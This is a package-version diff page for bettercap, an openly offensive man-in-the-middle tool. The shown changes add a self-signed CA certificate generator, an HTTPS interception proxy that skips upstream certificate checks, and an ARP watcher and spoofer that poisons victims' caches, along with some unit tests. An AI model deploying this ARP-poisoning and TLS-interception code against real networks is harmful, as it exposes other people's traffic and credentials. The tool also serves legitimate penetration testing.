bettercap 1.1.3 → 1.1.4

Sign up to get free protection for your applications and to get access to all the features.
Files changed (45) hide show
  1. checksums.yaml +4 -4
  2. data/CONTRIBUTING.md +42 -0
  3. data/Gemfile +2 -0
  4. data/Gemfile.lock +25 -0
  5. data/README.md +1 -1
  6. data/Rakefile +7 -0
  7. data/TODO.md +2 -2
  8. data/bettercap.gemspec +2 -0
  9. data/bin/bettercap +48 -43
  10. data/lib/bettercap/context.rb +125 -20
  11. data/lib/bettercap/factories/firewall_factory.rb +4 -0
  12. data/lib/bettercap/factories/parser_factory.rb +2 -0
  13. data/lib/bettercap/firewalls/linux.rb +16 -10
  14. data/lib/bettercap/firewalls/osx.rb +19 -8
  15. data/lib/bettercap/logger.rb +2 -0
  16. data/lib/bettercap/network.rb +10 -4
  17. data/lib/bettercap/proxy/certstore.rb +68 -0
  18. data/lib/bettercap/proxy/proxy.rb +87 -43
  19. data/lib/bettercap/proxy/request.rb +22 -4
  20. data/lib/bettercap/proxy/response.rb +15 -0
  21. data/lib/bettercap/sniffer/sniffer.rb +22 -24
  22. data/lib/bettercap/spoofers/arp.rb +38 -6
  23. data/lib/bettercap/target.rb +1 -1
  24. data/lib/bettercap/version.rb +1 -1
  25. data/lib/bettercap.rb +1 -0
  26. data/test/factories/firewall_factory_test.rb +54 -0
  27. data/test/factories/parser_factory_test.rb +36 -0
  28. data/test/factories/spoofer_factory_test.rb +15 -0
  29. data/test/firewalls/linux_firewall_test.rb +72 -0
  30. data/test/firewalls/osx_firewall_test.rb +72 -0
  31. data/test/helpers/mock_shell.rb +17 -0
  32. data/test/logger_test.rb +12 -0
  33. data/test/network_test.rb +14 -0
  34. data/test/pcap/ftp.pcap +0 -0
  35. data/test/pcap/http.pcap +0 -0
  36. data/test/pcap/packets.pcap +0 -0
  37. data/test/proxy/response_test.rb +56 -0
  38. data/test/shell_test.rb +15 -0
  39. data/test/sniffer/parsers/base_parser_test.rb +20 -0
  40. data/test/sniffer/parsers/ftp_parser_test.rb +27 -0
  41. data/test/sniffer/parsers/url_parser_test.rb +25 -0
  42. data/test/target_test.rb +24 -0
  43. data/test/test_helper.rb +47 -0
  44. data/test_https_proxy.rb +29 -0
  45. metadata +40 -2
@@ -0,0 +1,68 @@
1
+ =begin
2
+
3
+ BETTERCAP
4
+
5
+ Author : Simone 'evilsocket' Margaritelli
6
+ Email : evilsocket@gmail.com
7
+ Blog : http://www.evilsocket.net/
8
+
9
+ This project is released under the GPL 3 license.
10
+
11
+ =end
12
+ require 'bettercap/logger'
13
+ require 'openssl'
14
+
15
+ module Proxy
16
+ class CertStore
17
+ @@selfsigned = {}
18
+ @@frompems = {}
19
+
20
+ def self.from_file( filename )
21
+ if !@@frompems.has_key? filename
22
+ Logger.info "Loading self signed HTTPS certificate from '#{filename}' ..."
23
+
24
+ pem = File.read filename
25
+
26
+ @@frompems[filename] = { :cert => OpenSSL::X509::Certificate.new(pem), :key => OpenSSL::PKey::RSA.new(pem) }
27
+ end
28
+
29
+ @@frompems[filename]
30
+ end
31
+
32
+ # TODO: Put a better default subject here!
33
+ def self.get_selfsigned( subject = '/C=BE/O=Test/OU=Test/CN=Test' )
34
+ if !@@selfsigned.has_key? subject
35
+ Logger.info "Generating self signed HTTPS certificate for subject '#{subject}' ..."
36
+
37
+ key = OpenSSL::PKey::RSA.new(2048)
38
+ public_key = key.public_key
39
+
40
+ cert = OpenSSL::X509::Certificate.new
41
+ cert.subject = cert.issuer = OpenSSL::X509::Name.parse(subject)
42
+ cert.not_before = Time.now
43
+ cert.not_after = Time.now + 365 * 24 * 60 * 60
44
+ cert.public_key = public_key
45
+ cert.serial = 0x0
46
+ cert.version = 2
47
+
48
+ ef = OpenSSL::X509::ExtensionFactory.new
49
+ ef.subject_certificate = cert
50
+ ef.issuer_certificate = cert
51
+ cert.extensions = [
52
+ ef.create_extension("basicConstraints","CA:TRUE", true),
53
+ ef.create_extension("subjectKeyIdentifier", "hash"),
54
+ ef.create_extension("keyUsage", "cRLSign,keyCertSign", true),
55
+ ]
56
+ cert.add_extension ef.create_extension("authorityKeyIdentifier",
57
+ "keyid:always,issuer:always")
58
+
59
+ cert.sign key, OpenSSL::Digest::SHA256.new
60
+
61
+ @@selfsigned[subject] = { :cert => cert, :key => key }
62
+ end
63
+
64
+ @@selfsigned[subject]
65
+ end
66
+ end
67
+
68
+ end
@@ -19,10 +19,14 @@ require 'bettercap/network'
19
19
  module Proxy
20
20
 
21
21
  class Proxy
22
- def initialize address, port, &processor
22
+ def initialize( address, port, is_https, processor )
23
23
  @socket = nil
24
24
  @address = address
25
25
  @port = port
26
+ @is_https = is_https
27
+ @type = is_https ? 'HTTPS' : 'HTTP'
28
+ @sslserver = nil
29
+ @sslcontext = nil
26
30
  @main_thread = nil
27
31
  @running = false
28
32
  @processor = processor
@@ -31,7 +35,7 @@ class Proxy
31
35
  begin
32
36
  @local_ips = Socket.ip_address_list.collect { |x| x.ip_address }
33
37
  rescue
34
- Logget.warn 'Could not get local ips using Socket module, using Network.get_local_ips method.'
38
+ Logger.warn 'Could not get local ips using Socket module, using Network.get_local_ips method.'
35
39
 
36
40
  @local_ips = Network.get_local_ips
37
41
  end
@@ -40,16 +44,27 @@ class Proxy
40
44
  def start
41
45
  begin
42
46
  @socket = TCPServer.new( @address, @port )
47
+
48
+ if @is_https
49
+ cert = Context.get.certificate
50
+
51
+ @sslcontext = OpenSSL::SSL::SSLContext.new
52
+ @sslcontext.cert = cert[:cert]
53
+ @sslcontext.key = cert[:key]
54
+
55
+ @sslserver = OpenSSL::SSL::SSLServer.new( @socket, @sslcontext )
56
+ end
57
+
43
58
  @main_thread = Thread.new &method(:server_thread)
44
59
  rescue Exception => e
45
- Logger.error "Error starting proxy: #{e.inspect}"
60
+ Logger.error "Error starting #{@type} proxy: #{e.inspect}"
46
61
  @socket.close unless @socket.nil?
47
62
  end
48
63
  end
49
64
 
50
65
  def stop
51
66
  begin
52
- Logger.info 'Stopping proxy ...'
67
+ Logger.info "Stopping #{@type} proxy ..."
53
68
 
54
69
  if @socket and @running
55
70
  @running = false
@@ -61,25 +76,37 @@ class Proxy
61
76
 
62
77
  private
63
78
 
79
+ def async_accept
80
+ if @is_https
81
+ begin
82
+ Thread.new @sslserver.accept, &method(:client_thread)
83
+ rescue Exception => e
84
+ Logger.warn "Error while accepting #{@type} connection: #{e.inspect}"
85
+ end
86
+ else
87
+ Thread.new @socket.accept, &method(:client_thread)
88
+ end
89
+ end
90
+
64
91
  def server_thread
65
- Logger.info "Proxy started on #{@address}:#{@port} ...\n"
92
+ Logger.info "#{@type} Proxy started on #{@address}:#{@port} ...\n"
66
93
 
67
94
  @running = true
68
95
 
69
96
  begin
70
97
  while @running do
71
- Thread.new @socket.accept, &method(:client_thread)
98
+ async_accept
72
99
  end
73
100
  rescue Exception => e
74
101
  if @running
75
- Logger.warn "Error while accepting connection: #{e.inspect}"
102
+ Logger.error "Error while accepting #{@type} connection: #{e.inspect}"
76
103
  end
77
104
  ensure
78
105
  @socket.close unless @socket.nil?
79
106
  end
80
107
  end
81
108
 
82
- def binary_streaming from, to, opts = {}
109
+ def binary_streaming( from, to, opts = {} )
83
110
 
84
111
  total_size = 0
85
112
 
@@ -125,8 +152,8 @@ class Proxy
125
152
  end
126
153
  end
127
154
 
128
- def html_streaming request, response, from, to
129
- buff = ""
155
+ def html_streaming( request, response, from, to )
156
+ buff = ''
130
157
  loop do
131
158
  from.read 1024, buff
132
159
 
@@ -141,12 +168,12 @@ class Proxy
141
168
  to.write response.to_s
142
169
  end
143
170
 
144
- def log_stream client, request, response
171
+ def log_stream( client, request, response )
145
172
  client_s = "[#{client}]"
146
173
  verb_s = request.verb
147
- request_s = "http://#{request.host}#{request.url}"
174
+ request_s = "#{@is_https ? 'https' : 'http'}://#{request.host}#{request.url}"
148
175
  response_s = "( #{response.content_type} )"
149
- request_s = request_s.slice(0..50) + "..." unless request_s.length <= 50
176
+ request_s = request_s.slice(0..50) + '...' unless request_s.length <= 50
150
177
 
151
178
  verb_s = verb_s.light_blue
152
179
 
@@ -165,36 +192,56 @@ class Proxy
165
192
  Logger.write "#{client_s} #{verb_s} #{request_s} #{response_s}"
166
193
  end
167
194
 
168
- def is_self_request? request
195
+ def is_self_request?(request)
169
196
  @local_ips.include? IPSocket.getaddress(request.host)
170
197
  end
171
198
 
172
- def rickroll_lamer client
199
+ def rickroll_lamer(client)
173
200
  client.write "HTTP/1.1 302 Found\n"
174
201
  client.write "Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ\n\n"
175
202
  end
176
203
 
177
- def client_thread client
178
- client_port, client_ip = Socket.unpack_sockaddr_in(client.getpeername)
179
- Logger.debug "New connection from #{client_ip}:#{client_port}"
204
+ def create_upstream_connection( request )
205
+ if @is_https
206
+ sock = TCPSocket.new( request.host, request.port )
180
207
 
181
- server = nil
182
- request = Request.new
208
+ ctx = OpenSSL::SSL::SSLContext.new
183
209
 
184
- begin
185
- # read the first line
186
- request << client.readline
187
-
188
- loop do
189
- line = client.readline
190
- request << line
210
+ # do we need this? :P ctx.set_params(verify_mode: OpenSSL::SSL::VERIFY_PEER)
191
211
 
192
- if line.chomp == ""
193
- break
194
- end
212
+ socket = OpenSSL::SSL::SSLSocket.new(sock, ctx).tap do |socket|
213
+ socket.sync_close = true
214
+ socket.connect
195
215
  end
196
216
 
197
- raise "Couldn't extract host from the request." unless request.host
217
+ socket
218
+ else
219
+ TCPSocket.new( request.host, request.port )
220
+ end
221
+ end
222
+
223
+ def get_client_details( client )
224
+ if !@is_https
225
+ client_port, client_ip = Socket.unpack_sockaddr_in(client.getpeername)
226
+ else
227
+ _, client_port, _, client_ip = client.peeraddr
228
+ end
229
+
230
+ [ client_ip, client_port ]
231
+ end
232
+
233
+ def client_thread( client )
234
+ client_ip, client_port = get_client_details client
235
+
236
+ Logger.debug "New #{@type} connection from #{client_ip}:#{client_port}"
237
+
238
+ server = nil
239
+ request = Request.new @is_https ? 443 : 80
240
+
241
+ begin
242
+ Logger.debug 'Reading request ...'
243
+
244
+ request.read client
198
245
 
199
246
  # someone is having fun with us =)
200
247
  if is_self_request? request
@@ -203,9 +250,15 @@ class Proxy
203
250
 
204
251
  rickroll_lamer client
205
252
 
253
+ elsif request.verb == 'CONNECT'
254
+
255
+ Logger.error "You're using bettercap as a normal HTTP(S) proxy, it wasn't designed to handle CONNECT requests:\n\n#{request.to_s}"
256
+
206
257
  else
207
258
 
208
- server = TCPSocket.new( request.host, request.port )
259
+ Logger.debug 'Creating upstream connection ...'
260
+
261
+ server = create_upstream_connection request
209
262
 
210
263
  server.write request.to_s
211
264
 
@@ -218,16 +271,7 @@ class Proxy
218
271
 
219
272
  Logger.debug 'Reading response ...'
220
273
 
221
- response = Response.new
222
-
223
- # read all response headers
224
- loop do
225
- line = server.readline
226
-
227
- response << line
228
-
229
- break unless not response.headers_done
230
- end
274
+ response = Response.from_socket server
231
275
 
232
276
  if response.textual?
233
277
  log_stream client_ip, request, response
@@ -243,7 +287,7 @@ class Proxy
243
287
  binary_streaming server, client, response: response
244
288
  end
245
289
 
246
- Logger.debug "#{client_ip}:#{client_port} served."
290
+ Logger.debug "#{@type} client served."
247
291
  end
248
292
 
249
293
  rescue Exception => e
@@ -15,18 +15,36 @@ module Proxy
15
15
  class Request
16
16
  attr_reader :lines, :verb, :url, :host, :port, :content_length
17
17
 
18
- def initialize
18
+ def initialize( default_port = 80 )
19
19
  @lines = []
20
20
  @verb = nil
21
21
  @url = nil
22
22
  @host = nil
23
- @port = 80
23
+ @port = default_port
24
24
  @content_length = 0
25
25
  end
26
26
 
27
+ def read(sock)
28
+ # read the first line
29
+ self << sock.readline
30
+
31
+ loop do
32
+ line = sock.readline
33
+ self << line
34
+
35
+ if line.chomp == ''
36
+ break
37
+ end
38
+ end
39
+
40
+ raise "Couldn't extract host from the request." unless @host
41
+ end
42
+
27
43
  def <<(line)
28
44
  line = line.chomp
29
45
 
46
+ Logger.debug " REQUEST LINE: '#{line}'"
47
+
30
48
  # is this the first line '<VERB> <URI> HTTP/<VERSION>' ?
31
49
  if @url.nil? and line =~ /^(\w+)\s+(\S+)\s+HTTP\/[\d\.]+\s*$/
32
50
  @verb = $1
@@ -35,13 +53,13 @@ class Request
35
53
  # fix url
36
54
  if @url.include? '://'
37
55
  uri = URI::parse @url
38
- @url = "#{uri.path}" + ( uri.query ? "?#{uri.query}" : "" )
56
+ @url = "#{uri.path}" + ( uri.query ? "?#{uri.query}" : '' )
39
57
  end
40
58
 
41
59
  line = "#{@verb} #{url} HTTP/1.0"
42
60
 
43
61
  # get the host header value
44
- elsif line =~ /^Host: (.*)$/
62
+ elsif line =~ /^Host:\s*(.*)$/
45
63
  @host = $1
46
64
  if host =~ /([^:]*):([0-9]*)$/
47
65
  @host = $1
@@ -25,6 +25,21 @@ class Response
25
25
  @headers_done = false
26
26
  end
27
27
 
28
+ def self.from_socket(sock)
29
+ response = Response.new
30
+
31
+ # read all response headers
32
+ loop do
33
+ line = sock.readline
34
+
35
+ response << line
36
+
37
+ break unless not response.headers_done
38
+ end
39
+
40
+ response
41
+ end
42
+
28
43
  def <<(line)
29
44
  # we already parsed the heders, collect response body
30
45
  if @headers_done
@@ -28,40 +28,38 @@ class Sniffer
28
28
  setup( ctx )
29
29
 
30
30
  @@cap.stream.each do |p|
31
- append_packet p
32
- parse_packet p
31
+ begin
32
+ parsed = Packet.parse p
33
+ rescue Exception => e
34
+ parsed = nil
35
+ Logger.debug e.message
36
+ end
37
+
38
+ if not parsed.nil? and parsed.is_ip? and !skip_packet?(parsed)
39
+ append_packet p
40
+ parse_packet parsed
41
+ end
33
42
  end
34
43
  end
35
44
 
36
45
  private
37
46
 
38
- def self.parse_packet( p )
39
- begin
40
- pkt = Packet.parse p
41
- rescue Exception => e
42
- pkt = nil
43
- Logger.debug e.message
44
- end
47
+ def self.skip_packet?( pkt )
48
+ !@@ctx.options[:local] and
49
+ ( pkt.ip_saddr == @@ctx.ifconfig[:ip_saddr] or
50
+ pkt.ip_daddr == @@ctx.ifconfig[:ip_saddr] )
51
+ end
45
52
 
46
- if not pkt.nil? and pkt.is_ip?
47
- if !skip_packet? pkt
48
- @@parsers.each do |parser|
49
- begin
50
- parser.on_packet pkt
51
- rescue Exception => e
52
- Logger.warn e.message
53
- end
54
- end
53
+ def self.parse_packet( parsed )
54
+ @@parsers.each do |parser|
55
+ begin
56
+ parser.on_packet parsed
57
+ rescue Exception => e
58
+ Logger.warn e.message
55
59
  end
56
60
  end
57
61
  end
58
62
 
59
- def self.skip_packet?( pkt )
60
- !@@ctx.options[:local] and
61
- ( pkt.ip_saddr == @@ctx.ifconfig[:ip_saddr] or
62
- pkt.ip_daddr == @@ctx.ifconfig[:ip_saddr] )
63
- end
64
-
65
63
  def self.append_packet( p )
66
64
  begin
67
65
  @@pcap.array_to_file(
@@ -22,6 +22,8 @@ class ArpSpoofer < ISpoofer
22
22
  @gw_hw = nil
23
23
  @forwarding = @ctx.firewall.forwarding_enabled?
24
24
  @spoof_thread = nil
25
+ @sniff_thread = nil
26
+ @capture = nil
25
27
  @running = false
26
28
 
27
29
  Logger.debug 'ARP SPOOFER SELECTED'
@@ -35,7 +37,7 @@ class ArpSpoofer < ISpoofer
35
37
  Logger.info " Gateway : #{@ctx.gateway} ( #{@gw_hw} )"
36
38
  end
37
39
 
38
- def send_spoofed_packed( saddr, smac, daddr, dmac )
40
+ def send_spoofed_packet( saddr, smac, daddr, dmac )
39
41
  pkt = PacketFu::ARPPacket.new
40
42
  pkt.eth_saddr = smac
41
43
  pkt.eth_daddr = dmac
@@ -51,7 +53,7 @@ class ArpSpoofer < ISpoofer
51
53
  def start
52
54
  stop() unless @running == false
53
55
 
54
- Logger.info 'Starting ARP spoofer ...'
56
+ Logger.info "Starting ARP spoofer ( #{@ctx.options[:half_duplex] ? 'Half' : 'Full'} Duplex ) ..."
55
57
 
56
58
  if @forwarding == false
57
59
  Logger.debug 'Enabling packet forwarding.'
@@ -60,6 +62,36 @@ class ArpSpoofer < ISpoofer
60
62
  end
61
63
 
62
64
  @running = true
65
+ @sniff_thread = Thread.new do
66
+ Logger.info 'ARP watcher started ...'
67
+ begin
68
+ @capture = PacketFu::Capture.new(
69
+ iface: @ctx.options[:iface],
70
+ filter: 'arp',
71
+ start: true
72
+ )
73
+ rescue Exception => e
74
+ Logger.error e.message
75
+ end
76
+ @capture.stream.each do |p|
77
+ begin
78
+ pkt = PacketFu::Packet.parse p
79
+ # we're only interested in 'who-has' packets
80
+ if pkt.arp_opcode == 1 and pkt.arp_dst_mac.to_s == '00:00:00:00:00:00'
81
+ is_from_us = ( pkt.arp_src_ip.to_s == @ctx.ifconfig[:ip_saddr] )
82
+
83
+ if !is_from_us
84
+ Logger.info "[ARP] #{pkt.arp_src_ip.to_s} is asking who #{pkt.arp_dst_ip.to_s} is."
85
+
86
+ send_spoofed_packet pkt.arp_dst_ip.to_s, @ctx.ifconfig[:eth_saddr], pkt.arp_src_ip.to_s, pkt.arp_src_mac.to_s
87
+ end
88
+ end
89
+ rescue Exception => e
90
+ Logger.error e.message
91
+ end
92
+ end
93
+ end
94
+
63
95
  @spoof_thread = Thread.new do
64
96
  prev_size = @ctx.targets.size
65
97
  loop do
@@ -95,8 +127,8 @@ class ArpSpoofer < ISpoofer
95
127
  end
96
128
  end
97
129
 
98
- send_spoofed_packed @ctx.gateway, @ctx.ifconfig[:eth_saddr], target.ip, target.mac
99
- send_spoofed_packed target.ip, @ctx.ifconfig[:eth_saddr], @ctx.gateway, @gw_hw
130
+ send_spoofed_packet( @ctx.gateway, @ctx.ifconfig[:eth_saddr], target.ip, target.mac )
131
+ send_spoofed_packet( target.ip, @ctx.ifconfig[:eth_saddr], @ctx.gateway, @gw_hw ) unless @ctx.options[:half_duplex]
100
132
  end
101
133
 
102
134
  prev_size = @ctx.targets.size
@@ -121,8 +153,8 @@ class ArpSpoofer < ISpoofer
121
153
 
122
154
  @ctx.targets.each do |target|
123
155
  if !target.mac.nil?
124
- send_spoofed_packed @ctx.gateway, @gw_hw, target.ip, target.mac
125
- send_spoofed_packed target.ip, target.mac, @ctx.gateway, @gw_hw
156
+ send_spoofed_packet( @ctx.gateway, @gw_hw, target.ip, target.mac )
157
+ send_spoofed_packet( target.ip, target.mac, @ctx.gateway, @gw_hw ) unless @ctx.options[:half_duplex]
126
158
  end
127
159
  end
128
160
  sleep 1
@@ -16,7 +16,7 @@ class Target
16
16
 
17
17
  @@prefixes = nil
18
18
 
19
- def initialize( ip, mac )
19
+ def initialize( ip, mac=nil )
20
20
  @ip = ip
21
21
  @mac = mac
22
22
  @vendor = Target.lookup_vendor(mac) if not mac.nil?
@@ -10,6 +10,6 @@ This project is released under the GPL 3 license.
10
10
 
11
11
  =end
12
12
  module BetterCap
13
- VERSION = '1.1.3'
13
+ VERSION = '1.1.4'
14
14
  BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
15
15
  end
data/lib/bettercap.rb CHANGED
@@ -36,4 +36,5 @@ require 'bettercap/proxy/request'
36
36
  require 'bettercap/proxy/response'
37
37
  require 'bettercap/proxy/proxy'
38
38
  require 'bettercap/proxy/module'
39
+ require 'bettercap/proxy/certstore'
39
40
  require 'bettercap/httpd/server'
@@ -0,0 +1,54 @@
1
+ require 'minitest/autorun'
2
+ require 'factories/firewall_factory'
3
+
4
+ class FirewallFactoryTest < MiniTest::Test
5
+ # TODO: Fix the tests for the Mac and Linux firewall initialization. Right now
6
+ # they are being created in a way which executes a shell command, causing
7
+ # tests to fail.
8
+
9
+ # def test_mac_firewall
10
+ # FirewallFactory.clear_firewall
11
+ #
12
+ # override_ruby_platform('darwin') do
13
+ # firewall = FirewallFactory.get_firewall
14
+ # assert_equal firewall.class, OSXFirewall
15
+ # end
16
+ # end
17
+
18
+ # def test_linux_firewall
19
+ # FirewallFactory.clear_firewall
20
+ #
21
+ # override_ruby_platform('linux') do
22
+ # firewall = FirewallFactory.get_firewall
23
+ # assert_equal firewall.class, LinuxFirewall
24
+ # end
25
+ # end
26
+
27
+ def test_unknown_firewall
28
+ FirewallFactory.clear_firewall
29
+
30
+ override_ruby_platform('ms') do
31
+ assert_raises BetterCap::Error do
32
+ FirewallFactory.get_firewall
33
+ end
34
+ end
35
+ end
36
+
37
+ private
38
+
39
+ def override_ruby_platform(platform)
40
+ actual_platform = RUBY_PLATFORM
41
+
42
+ begin
43
+ redefine_const :RUBY_PLATFORM, platform
44
+ yield
45
+ ensure
46
+ redefine_const :RUBY_PLATFORM, actual_platform
47
+ end
48
+ end
49
+
50
+ def redefine_const(const, value)
51
+ Object.send(:remove_const, const) if Object.const_defined?(const)
52
+ Object.const_set(const, value)
53
+ end
54
+ end
@@ -0,0 +1,36 @@
1
+ require 'minitest/autorun'
2
+ require 'factories/parser_factory'
3
+
4
+ class ParserFactoryTest < MiniTest::Test
5
+ def test_getting_available_parsers
6
+ available_parsers = ParserFactory.available
7
+ assert available_parsers.include?('FTP')
8
+ end
9
+
10
+ def test_successful_cmdline_parser_name
11
+ parsers = ParserFactory.from_cmdline('ftp,https')
12
+ assert_equal parsers, ['FTP', 'HTTPS']
13
+ end
14
+
15
+ def test_failed_cmdline_parser_name
16
+ assert_raises BetterCap::Error do
17
+ ParserFactory.from_cmdline 'unknown'
18
+ end
19
+ end
20
+
21
+ def test_no_cmdline_parser_provided
22
+ assert_raises BetterCap::Error do
23
+ ParserFactory.from_cmdline nil
24
+ end
25
+ end
26
+
27
+ def test_successfully_loading_parsers
28
+ loaded = ParserFactory.load_by_names 'FTP'
29
+ assert_equal loaded.first.class, FtpParser
30
+ end
31
+
32
+ def test_unsuccessfully_loading_parsers
33
+ loaded = ParserFactory.load_by_names 'unknown'
34
+ assert_empty loaded
35
+ end
36
+ end
@@ -0,0 +1,15 @@
1
+ require 'minitest/autorun'
2
+ require 'factories/spoofer_factory'
3
+
4
+ class SpooferFactoryTest < MiniTest::Test
5
+ def test_getting_available_parsers
6
+ spoofers = SpooferFactory.available
7
+ assert spoofers.include?('ARP')
8
+ end
9
+
10
+ def test_unsuccessful_name
11
+ assert_raises BetterCap::Error do
12
+ SpooferFactory.get_by_name 'unknown'
13
+ end
14
+ end
15
+ end